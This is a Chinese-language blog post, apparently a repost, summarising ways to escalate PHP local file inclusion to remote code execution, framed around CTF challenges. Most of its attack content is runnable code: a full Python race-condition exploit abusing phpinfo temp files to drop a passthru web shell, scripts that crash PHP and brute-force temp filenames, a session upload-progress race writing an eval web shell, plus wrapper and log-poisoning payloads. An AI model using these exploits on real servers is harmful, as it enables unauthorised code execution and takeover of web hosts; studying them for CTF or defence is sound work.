内容简介:LFI不止可以来读取文件,还能用来RCE在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势
LFI不止可以来读取文件,还能用来RCE
在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势
/proc/self/environ
需要有 /proc/self/environ 的读取权限
如果可以读取,修改 User-Agent 为 php 代码,然后lfi点包含,实现rce
/proc/self/fd/1,2,3…
需要有 /proc/self/fd/1 的读取权限
类似于 /proc/self/environ ,不同是在 referer 或报错等写入php代码,然后lfi点包含,实现rce
php伪协议
php://filter
用来读文件 https://www.php.net/manual/zh/filters.php
不需要 allow_url_include 和 allow_url_fopen 开启
-
php://filter/read=convert.base64-encode/resource=
php://input
可以实现代码执行
需要 allow_url_include:on
data://
需要 allow_url_fopen , allow_url_include 均开启
data://text/plain,<?php phpinfo()?> data:text/plain,<?php phpinfo()?> data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= d·ata:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
expect://
默认不开启,需要安装PECL package扩展
需要 allow_url_include 开启
expect://[command]
/var/log/…
ssh日志
需要有 /var/log/auth.log 的读取权限
如果目标机开启了ssh,可以通过包含ssh日志的方式来getshell
连接ssh时输入 ssh `<?php phpinfo(); ?>`@192.168.211.146 php代码便会保存在 /var/log/auth.log 中
然后lfi点包含,实现rce
apache日志
需要有 /var/log/apache2/... 的读取权限
包含 access.log 和 error.log 来rce
但log文件过大会超时返回500,利用失败
更多日志文件地址见: https://github.com/tennc/fuzzdb/blob/master/attack-payloads/lfi/common-unix-httpd-log-locations.txt
with phpinfo
PHP引擎对 enctype="multipart/form-data" 这种请求的处理过程如下
/tmp/php[w]{6}
构造一个html文件来发送上传文件的数据包
<form action="http://192.168.211.146/phpinfo.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form>
phpinfo 可以输出 $_FILES 信息,包括临时文件路径、名称
可以通过分块传输编码,发送大量数据来争取时间,在临时文件删除之前执行包含操作
https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp:
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%sr
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """+padding+"""r
HTTP_ACCEPT_LANGUAGE: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
# LFIREQ="""GET /lfi.php?file=%s%%00 HTTP/1.1r
# User-Agent: Mozilla/4.0r
# Proxy-Connection: Keep-Aliver
# Host: %sr
# r
# r
# """
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
# print fn
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0rnrn"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! m/"
else:
print ":("
except KeyboardInterrupt:
print "nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
with php崩溃
php Segfault
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
1. php < 7.2
-
php://filter/string.strip_tags/resource=/etc/passwd
2. php7 老版本通杀
-
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
更新之后的版本已经修复,不会再使php崩溃了,这里我使用老版本来测试可以利用
包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce
payload1测试:
payload2测试:
exp:
# -*- coding: utf-8 -*-
# php崩溃 生成大量临时文件
import requests
import string
def upload_file(url, file_content):
files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')}
try:
requests.post(url, files=files)
except Exception as e:
print e
charset = string.digits+string.letters
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)
url="http://192.168.211.146/lfi.php"
parameter="file"
payload1="php://filter/string.strip_tags/resource=/etc/passwd"
payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
lfi_url = url+"?"+parameter+"="+payload1
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file(lfi_url, file_content)
爆破tmp文件名
然后爆破临时文件名来包含
# -*- coding: utf-8 -*-
import requests
import string
charset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = base_url+"?"+parameter+"=/tmp/php"+filename
print url
try:
response = requests.get(url)
if 'success' in response.content:
print "[+] Include success!"
print "url:"+url
exit()
except Exception as e:
print e
session
如果 session.upload_progress.enabled=On 开启,就可以包含session来getshell,并且这个参数在php中是默认开启的
https://php.net/manual/zh/session.upload-progress.php
当一个上传在处理中,同时POST一个与INI中设置的 session.upload_progress.name 同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
也就是说session中会添加 session.upload_progress.prefix + $_POST[ini_get['session.upload_progress.name']] ,而 session.upload_progress.name 是可控的,所以就可以在session写入php代码,然后包含session文件来rce
session.upload_progress.prefix 和 session.upload_progress.name 还有session的储存位置 session.save_path 都能在phpinfo中获取,默认为:
同时能看到 session.upload_progress.cleanup 是默认开启的,这个配置就是POST请求结束后会把session清空,所以session的存在时间很短,需要条件竞争来读取
下面测试一下,构造一个html来发包
<form action="http://192.168.211.146/phpinfo.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo(); ?>" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
在数据包里加入 PHPSESSION ,才能生成session文件
burp不断发包,成功包含
exp:
import requests
import threading
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)
url='http://192.168.211.146/lfi.php'
r=requests.session()
def POST():
while True:
file={
"upload":('daolgts.jpg', file_content, 'image/jpeg')
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":file_content
}
headers={
"Cookie":'PHPSESSID=123456'
}
r.post(url,files=file,headers=headers,data=data)
def READ():
while True:
event.wait()
t=r.get("http://192.168.211.146/lfi.php?file=/var/lib/php/sessions/sess_123456")
if 'success' not in t.text:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
LFI自动化利用工具
会自动扫描利用以下漏洞,并且获取到shell
- /proc/self/environ
- php://filter
- php://input
- /proc/self/fd
- access log
- phpinfo
- data://
- expect://
Referer
以上所述就是小编给大家介绍的《LFItoRCE利用总结》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- tcache机制利用总结
- Structs 全版本漏洞利用总结
- [应用安全]之ActiveMQ漏洞利用方法总结
- 利用ES6进行Promise封装总结
- 超全面总结!如何利用栅格系统做响应式设计?
- 实战:如何利用栅格系统做响应式设计- 后台设计经验总结(2)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Spring Into HTML and CSS
Molly E. Holzschlag / Addison-Wesley Professional / 2005-5-2 / USD 34.99
The fastest route to true HTML/CSS mastery! Need to build a web site? Or update one? Or just create some effective new web content? Maybe you just need to update your skills, do the job better. Welco......一起来看看 《Spring Into HTML and CSS》 这本书的介绍吧!